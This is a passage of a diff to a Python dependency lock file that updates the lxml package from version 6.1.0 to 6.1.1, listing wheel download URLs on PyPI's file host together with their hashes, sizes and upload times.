"sha256:fc7140d7a7386e6b545d41b7358f4d02b656d4053f5fa6859f92f4b9c2572c4d", size = 4617892, upload-time = "2026-04-18T04:32:01.78Z" }, - { url = "https://files.pythonhosted.org/packages/f5/54/92ad98a94ac318dc4f97aaac22ff8d1b94212b2ae8af5b6e9b354bf825f7/lxml-6.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:419c58fc92cc3a2c3fa5f78c63dbf5da70c1fa9c1b25f25727ecee89a96c7de2", size = 4923489, upload-time = "2026-04-18T04:33:31.401Z" }, - { url = "https://files.pythonhosted.org/packages/15/3b/a20aecfab42bdf4f9b390590d345857ad3ffd7c51988d1c89c53a0c73faf/lxml-6.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491", size = 5082162, upload-time = "2026-04-18T04:33:34.262Z" }, - { url = "https://files.pythonhosted.org/packages/45/26/2cdb3d281ac1bd175603e290cbe4bad6eff127c0f8de90bafd6f8548f0fd/lxml-6.1.0-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2853c8b2170cc6cd54a6b4d50d2c1a8a7aeca201f23804b4898525c7a152cfc", size = 4993247, upload-time = "2026-04-18T04:33:36.674Z" }, - { url = "https://files.pythonhosted.org/packages/f6/05/d735aef963740022a08185c84821f689fc903acb3d50326e6b1e9886cc22/lxml-6.1.0-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8e369cbd690e788c8d15e56222d91a09c6a417f49cbc543040cba0fe2e25a79e", size = 5613042, upload-time = "2026-04-18T04:33:39.205Z" }, - { url = "https://files.pythonhosted.org/packages/ee/b8/ead7c10efff731738c72e59ed6eb5791854879fbed7ae98781a12006263a/lxml-6.1.0-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e69aa6805905807186eb00e66c6d97a935c928275182eb02ee40ba00da9623b2", size = 5228304, upload-time = "2026-04-18T04:33:41.647Z" }, - { url = "https://files.pythonhosted.org/packages/6b/10/e9842d2ec322ea65f0a7270aa0315a53abed06058b88ef1b027f620e7a5f/lxml-6.1.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:4bd1bdb8a9e0e2dd229de19b5f8aebac80e916921b4b2c6ef8a52bc131d0c1f9", size = 5341578, upload-time = "2026-04-18T04:33:44.596Z" }, - { url = "https://files.pythonhosted.org/packages/89/54/40d9403d7c2775fa7301d3ddd3464689bfe9ba71acc17dfff777071b4fdc/lxml-6.1.0-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:cbd7b79cdcb4986ad78a2662625882747f09db5e4cd7b2ae178a88c9c51b3dfe", size = 4700209, upload-time = "2026-04-18T04:33:47.552Z" }, - { url = "https://files.pythonhosted.org/packages/85/b2/bbdcc2cf45dfc7dfffef4fd97e5c47b15919b6a365247d95d6f684ef5e82/lxml-6.1.0-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:43e4d297f11080ec9d64a4b1ad7ac02b4484c9f0e2179d9c4ef78e886e747b88", size = 5232365, upload-time = "2026-04-18T04:33:50.249Z" }, - { url = "https://files.pythonhosted.org/packages/48/5a/b06875665e53aaba7127611a7bed3b7b9658e20b22bc2dd217a0b7ab0091/lxml-6.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cc16682cc987a3da00aa56a3aa3075b08edb10d9b1e476938cfdbee8f3b67181", size = 5043654, upload-time = "2026-04-18T04:33:52.71Z" }, - { url = "https://files.pythonhosted.org/packages/e9/9c/e71a069d09641c1a7abeb30e693f828c7c90a41cbe3d650b2d734d876f85/lxml-6.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d8efe71429635f0559579092bb5e60560d7b9115ee38c4adbea35632e7fa24", size = 4769326, upload-time = "2026-04-18T04:33:55.244Z" }, - { url = "https://files.pythonhosted.org/packages/cc/06/7a9cd84b3d4ed79adf35f874750abb697dec0b4a81a836037b36e47c091a/lxml-6.1.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7e39ab3a28af7784e206d8606ec0e4bcad0190f63a492bca95e94e5a4aef7f6e", size = 5635879, upload-time = "2026-04-18T04:33:58.509Z" }, - { url = "https://files.pythonhosted.org/packages/cc/f0/9d57916befc1e54c451712c7ee48e9e74e80ae4d03bdce49914e0aee42cd/lxml-6.1.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9eb667bf50856c4a58145f8ca2d5e5be160191e79eb9e30855a476191b3c3495", size = 5224048, upload-time = "2026-04-18T04:34:00.943Z" }, - { url = "https://files.pythonhosted.org/packages/99/75/90c4eefda0c08c92221fe0753db2d6699a4c628f76ff4465ec20dea84cc1/lxml-6.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7f4a77d6f7edf9230cee3e1f7f6764722a41604ee5681844f18db9a81ea0ec33", size = 5250241, upload-time = "2026-04-18T04:34:03.365Z" }, - { url = "https://files.pythonhosted.org/packages/5e/73/16596f7e4e38fa33084b9ccbccc22a15f82a290a055126f2c1541236d2ff/lxml-6.1.0-cp313-cp313-win32.whl", hash = "sha256:28902146ffbe5222df411c5d19e5352490122e14447e98cd118907ee3fd6ee62", size = 3596938, upload-time = "2026-04-18T04:31:56.206Z" }, - { url = "https://files.pythonhosted.org/packages/8e/63/981401c5680c1eb30893f00a19641ac80db5d1e7086c62cb4b13ed813038/lxml-6.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:4a1503c56e4e2b38dc76f2f2da7bae69670c0f1933e27cfa34b2fa5876410b16", size = 3995728, upload-time = "2026-04-18T04:31:58.763Z" }, - { url = "https://files.pythonhosted.org/packages/e7/e8/c358a38ac3e541d16a1b527e4e9cb78c0419b0506a070ace11777e5e8404/lxml-6.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:e0af85773850417d994d019741239b901b22c6680206f46a34766926e466141d", size = 3658372, upload-time = "2026-04-18T04:32:03.629Z" }, - { url = "https://files.pythonhosted.org/packages/eb/45/cee4cf203ef0bab5c52afc118da61d6b460c928f2893d40023cfa27e0b80/lxml-6.1.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:ab863fd37458fed6456525f297d21239d987800c46e67da5ef04fc6b3dd93ac8", size = 8576713, upload-time = "2026-04-18T04:32:06.831Z" }, - { url = "https://files.pythonhosted.org/packages/8a/a7/eda05babeb7e046839204eaf254cd4d7c9130ce2bbf0d9e90ea41af5654d/lxml-6.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:6fd8b1df8254ff4fd93fd31da1fc15770bde23ac045be9bb1f87425702f61cc9", size = 4623874, upload-time = "2026-04-18T04:32:10.755Z" }, - { url = "https://files.pythonhosted.org/packages/e7/e9/db5846de9b436b91890a62f29d80cd849ea17948a49bf532d5278ee69a9e/lxml-6.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:47024feaae386a92a146af0d2aeed65229bf6fff738e6a11dda6b0015fb8fd03", size = 4949535, upload-time = "2026-04-18T04:34:06.657Z" }, - { url = "https://files.pythonhosted.org/packages/5a/ba/0d3593373dcae1d68f40dc3c41a5a92f2544e68115eb2f62319a4c2a6500/lxml-6.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3f00972f84450204cd5d93a5395965e348956aaceaadec693a22ec743f8ae3eb", size = 5086881, upload-time = "2026-04-18T04:34:09.556Z" }, - { url = "https://files.pythonhosted.org/packages/43/76/759a7484539ad1af0d125a9afe9c3fb5f82a8779fd1f5f56319d9e4ea2fd/lxml-6.1.0-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97faa0860e13b05b15a51fb4986421ef7a30f0b3334061c416e0981e9450ca4c", size = 5031305, upload-time = "2026-04-18T04:34:12.336Z" }, - { url = "https://files.pythonhosted.org/packages/dc/b9/c1f0daf981a11e47636126901fd4ab82429e18c57aeb0fc3ad2940b42d8b/lxml-6.1.0-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:972a6451204798675407beaad97b868d0c733d9a74dafefc63120b81b8c2de28", size = 5647522, upload-time = "2026-04-18T04:34:14.89Z" }, - { url = "https://files.pythonhosted.org/packages/31/e6/1f533dcd205275363d9ba3511bcec52fa2df86abf8abe6a5f2c599f0dc31/lxml-6.1.0-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fe022f20bc4569ec66b63b3fb275a3d628d9d32da6326b2982584104db6d3086", size = 5239310, upload-time = "2026-04-18T04:34:17.652Z" }, - { url = "https://files.pythonhosted.org/packages/c3/8c/4175fb709c78a6e315ed814ed33be3defd8b8721067e70419a6cf6f971da/lxml-6.1.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:75c4c7c619a744f972f4451bf5adf6d0fb00992a1ffc9fd78e13b0bc817cc99f", size = 5350799, upload-time = "2026-04-18T04:34:20.529Z" }, - { url = "https://files.pythonhosted.org/packages/fd/77/6ffdebc5994975f0dde4acb59761902bd9d9bb84422b9a0bd239a7da9ca8/lxml-6.1.0-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3648f20d25102a22b6061c688beb3a805099ea4beb0a01ce62975d926944d292", size = 4697693, upload-time = "2026-04-18T04:34:23.541Z" }, - { url = "https://files.pythonhosted.org/packages/f8/f1/565f36bd5c73294602d48e04d23f81ff4c8736be6ba5e1d1ec670ac9be80/lxml-6.1.0-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:77b9f99b17cbf14026d1e618035077060fc7195dd940d025149f3e2e830fbfcb", size = 5250708, upload-time = "2026-04-18T04:34:26.001Z" }, - { url = "https://files.pythonhosted.org/packages/5a/11/a68ab9dd18c5c499404deb4005f4bc4e0e88e5b72cd755ad96efec81d18d/lxml-6.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:32662519149fd7a9db354175aa5e417d83485a8039b8aaa62f873ceee7ea4cad", size = 5084737, upload-time = "2026-04-18T04:34:28.32Z" }, - { url = "https://files.pythonhosted.org/packages/ab/78/e8f41e2c74f4af564e6a0348aea69fb6daaefa64bc071ef469823d22cc18/lxml-6.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:73d658216fc173cf2c939e90e07b941c5e12736b0bf6a99e7af95459cfe8eabb", size = 4737817, upload-time = "2026-04-18T04:34:30.784Z" }, - { url = "https://files.pythonhosted.org/packages/06/2d/aa4e117aa2ce2f3b35d9ff246be74a2f8e853baba5d2a92c64744474603a/lxml-6.1.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:ac4db068889f8772a4a698c5980ec302771bb545e10c4b095d4c8be26749616f", size = 5670753, upload-time = "2026-04-18T04:34:33.675Z" }, - { url = "https://files.pythonhosted.org/packages/08/f5/dd745d50c0409031dbfcc4881740542a01e54d6f0110bd420fa7782110b8/lxml-6.1.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:45e9dfbd1b661eb64ba0d4dbe762bd210c42d86dd1e5bd2bdf89d634231beb43", size = 5238071, upload-time = "2026-04-18T04:34:36.12Z" }, - { url = "https://files.pythonhosted.org/packages/3e/74/ad424f36d0340a904665867dab310a3f1f4c96ff4039698de83b77f44c1f/lxml-6.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:89e8d73d09ac696a5ba42ec69787913d53284f12092f651506779314f10ba585", size = 5264319, upload-time = "2026-04-18T04:34:39.035Z" }, - { url = "https://files.pythonhosted.org/packages/53/36/a15d8b3514ec889bfd6aa3609107fcb6c9189f8dc347f1c0b81eded8d87c/lxml-6.1.0-cp314-cp314-win32.whl", hash = "sha256:ebe33f4ec1b2de38ceb225a1749a2965855bffeef435ba93cd2d5d540783bf2f", size = 3657139, upload-time = "2026-04-18T04:32:20.006Z" }, - { url = "https://files.pythonhosted.org/packages/1a/a4/263ebb0710851a3c6c937180a9a86df1206fdfe53cc43005aa2237fd7736/lxml-6.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:398443df51c538bd578529aa7e5f7afc6c292644174b47961f3bf87fe5741120", size = 4064195, upload-time = "2026-04-18T04:32:23.876Z" }, - { url = "https://files.pythonhosted.org/packages/80/68/2000f29d323b6c286de077ad20b429fc52272e44eae6d295467043e56012/lxml-6.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:8c8984e1d8c4b3949e419158fda14d921ff703a9ed8a47236c6eb7a2b6cb4946", size = 3741870, upload-time = "2026-04-18T04:32:27.922Z" }, - { url = "https://files.pythonhosted.org/packages/30/e9/21383c7c8d43799f0da90224c0d7c921870d476ec9b3e01e1b2c0b8237c5/lxml-6.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1081dd10bc6fa437db2500e13993abf7cc30716d0a2f40e65abb935f02ec559c", size = 8827548, upload-time = "2026-04-18T04:32:15.094Z" }, - { url = "https://files.pythonhosted.org/packages/a5/01/c6bc11cd587030dd4f719f65c5657960649fe3e19196c844c75bf32cd0d6/lxml-6.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:dabecc48db5f42ba348d1f5d5afdc54c6c4cc758e676926c7cd327045749517d", size = 4735866, upload-time = "2026-04-18T04:32:18.924Z" }, - { url = "https://files.pythonhosted.org/packages/f3/01/757132fff5f4acf25463b5298f1a46099f3a94480b806547b29ce5e385de/lxml-6.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e3dd5fe19c9e0ac818a9c7f132a5e43c1339ec1cbbfecb1a938bd3a47875b7c9", size = 4969476, upload-time = "2026-04-18T04:34:41.889Z" }, - { url = "https://files.pythonhosted.org/packages/fd/fb/1bc8b9d27ed64be7c8903db6c89e74dc8c2cd9ec630a7462e4654316dc5b/lxml-6.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9e7b0a4ca6dcc007a4cef00a761bba2dea959de4bd2df98f926b33c92ca5dfb9", size = 5103719, upload-time = "2026-04-18T04:34:44.797Z" }, - { url = "https://files.pythonhosted.org/packages/d5/e7/5bf82fa28133536a54601aae633b14988e89ed61d4c1eb6b899b023233aa/lxml-6.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d27bbe326c6b539c64b42638b18bc6003a8d88f76213a97ac9ed4f885efeab7", size = 5027890, upload-time = "2026-04-18T04:34:47.634Z" }, - { url = "https://files.pythonhosted.org/packages/2d/20/e048db5d4b4ea0366648aa595f26bb764b2670903fc585b87436d0a5032c/lxml-6.1.0-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4e425db0c5445ef0ad56b0eec54f89b88b2d884656e536a90b2f52aecb4ca86", size = 5596008, upload-time = "2026-04-18T04:34:51.503Z" }, - { url = "https://files.pythonhosted.org/packages/9a/c2/d10807bc8da4824b39e5bd01b5d05c077b6fd01bd91584167edf6b269d22/lxml-6.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b89b098105b8599dc57adac95d1813409ac476d3c948a498775d3d0c6124bfb", size = 5224451, upload-time = "2026-04-18T04:34:54.263Z" }, - { url = "https://files.pythonhosted.org/packages/3c/15/2ebea45bea427e7f0057e9ce7b2d62c5aba20c6b001cca89ed0aadb3ad41/lxml-6.1.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:c4a699432846df86cc3de502ee85f445ebad748a1c6021d445f3e514d2cd4b1c", size = 5312135, upload-time = "2026-04-18T04:34:56.818Z" }, - { url = "https://files.pythonhosted.org/packages/31/e2/87eeae151b0be2a308d49a7ec444ff3eb192b14251e62addb29d0bf3778f/lxml-6.1.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:30e7b2ed63b6c8e97cca8af048589a788ab5c9c905f36d9cf1c2bb549f450d2f", size = 4639126, upload-time = "2026-04-18T04:34:59.704Z" }, - { url = "https://files.pythonhosted.org/packages/a3/51/8a3f6a20902ad604dd746ec7b4000311b240d389dac5e9d95adefd349e0c/lxml-6.1.0-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:022981127642fe19866d2907d76241bb07ed21749601f727d5d5dd1ce5d1b773", size = 5232579, upload-time = "2026-04-18T04:35:02.658Z" }, - { url = "https://files.pythonhosted.org/packages/6d/d2/650d619bdbe048d2c3f2c31edb00e35670a5e2d65b4fe3b61bce37b19121/lxml-6.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:23cad0cc86046d4222f7f418910e46b89971c5a45d3c8abfad0f64b7b05e4a9b", size = 5084206, upload-time = "2026-04-18T04:35:05.175Z" }, - { url = "https://files.pythonhosted.org/packages/dd/8a/672ca1a3cbeabd1f511ca275a916c0514b747f4b85bdaae103b8fa92f307/lxml-6.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:21c3302068f50d1e8728c67c87ba92aa87043abee517aa2576cca1855326b405", size = 4758906, upload-time = "2026-04-18T04:35:08.098Z" }, - { url = "https://files.pythonhosted.org/packages/be/f1/ef4b691da85c916cb2feb1eec7414f678162798ac85e042fa164419ac05c/lxml-6.1.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:be10838781cb3be19251e276910cd508fe127e27c3242e50521521a0f3781690", size = 5620553, upload-time = "2026-04-18T04:35:11.23Z" }, - { url = "https://files.pythonhosted.org/packages/59/17/94e81def74107809755ac2782fdad4404420f1c92ca83433d117a6d5acf0/lxml-6.1.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2173a7bffe97667bbf0767f8a99e587740a8c56fdf3befac4b09cb29a80276fd", size = 5229458, upload-time = "2026-04-18T04:35:14.254Z" }, - { url = "https://files.pythonhosted.org/packages/21/55/c4be91b0f830a871fc1b0d730943d56013b683d4671d5198260e2eae722b/lxml-6.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c6854e9cf99c84beb004eecd7d3a3868ef1109bf2b1df92d7bc11e96a36c2180", size = 5247861, upload-time = "2026-04-18T04:35:17.006Z" }, - { url = "https://files.pythonhosted.org/packages/c2/ca/77123e4d77df3cb1e968ade7b1f808f5d3a5c1c96b18a33895397de292c1/lxml-6.1.0-cp314-cp314t-win32.whl", hash = "sha256:00750d63ef0031a05331b9223463b1c7c02b9004cef2346a5b2877f0f9494dd2", size = 3897377, upload-time = "2026-04-18T04:32:07.656Z" }, - { url = "https://files.pythonhosted.org/packages/64/ce/3554833989d074267c063209bae8b09815e5656456a2d332b947806b05ff/lxml-6.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:80410c3a7e3c617af04de17caa9f9f20adaa817093293d69eae7d7d0522836f5", size = 4392701, upload-time = "2026-04-18T04:32:12.113Z" }, - { url = "https://files.pythonhosted.org/packages/2b/a0/9b916c68c0e57752c07f8f64b30138d9d4059dbeb27b90274dedbea128ff/lxml-6.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:26dd9f57ee3bd41e7d35b4c98a2ffd89ed11591649f421f0ec19f67d50ec67ac", size = 3817120, upload-time = "2026-04-18T04:32:15.803Z" }, - { url = "https://files.pythonhosted.org/packages/f2/88/55143966481409b1740a3ac669e611055f49efd68087a5ce41582325db3e/lxml-6.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:546b66c0dd1bb8d9fa89d7123e5fa19a8aff3a1f2141eb22df96112afb17b842", size = 3930134, upload-time = "2026-04-18T04:32:35.008Z" }, - { url = "https://files.pythonhosted.org/packages/b5/97/28b985c2983938d3cb696dd5501423afb90a8c3e869ef5d3c62569282c0f/lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5cfa1a34df366d9dc0d5eaf420f4cf2bb1e1bebe1066d1c2fc28c179f8a4004c", size = 4210749, upload-time = "2026-04-18T04:36:03.626Z" }, - { url = "https://files.pythonhosted.org/packages/29/67/dfab2b7d58214921935ccea7ce9b3df9b7d46f305d12f0f532ac7cf6b804/lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db88156fcf544cdbf0d95588051515cfdfd4c876fc66444eb98bceb5d6db76de", size = 4318463, upload-time = "2026-04-18T04:36:06.309Z" }, - { url = "https://files.pythonhosted.org/packages/32/a2/4ac7eb32a4d997dd352c32c32399aae27b3f268d440e6f9cfa405b575d2f/lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:07f98f5496f96bf724b1e3c933c107f0cbf2745db18c03d2e13a291c3afd2635", size = 4251124, upload-time = "2026-04-18T04:36:09.056Z" }, - { url = "https://files.pythonhosted.org/packages/33/ef/d6abd850bb4822f9b720cfe36b547a558e694881010ff7d012191e8769c6/lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4642e04449a1e164b5ff71ffd901ddb772dfabf5c9adf1b7be5dffe1212bc037", size = 4401758, upload-time = "2026-04-18T04:36:11.803Z" }, - { url = "https://files.pythonhosted.org/packages/40/44/3ee09a5b60cb44c4f2fbc1c9015cfd6ff5afc08f991cab295d3024dcbf2d/lxml-6.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7da13bb6fbadfafb474e0226a30570a3445cfd47c86296f2446dafbd77079ace", size = 3508860, upload-time = "2026-04-18T04:32:48.619Z" }, +version = "6.1.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" }, + { url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" }, + { url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" }, + { url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" }, + { url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" }, + { url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" }, + { url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" }, + { url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" }, + { url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" }, + { url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" }, + { url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" }, + { url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" }, + { url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" }, + { url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" }, + { url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" }, + { url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" }, + { url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" }, + { url = "https://files.pythonhosted.org/packages/4c/77/1bc7eeb0de4577d783fb625aa092cc9357883bba35845a3666bf1259f3dc/lxml-6.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a", size = 5067921, upload-time = "2026-05-18T19:17:49.175Z" }, + { url = 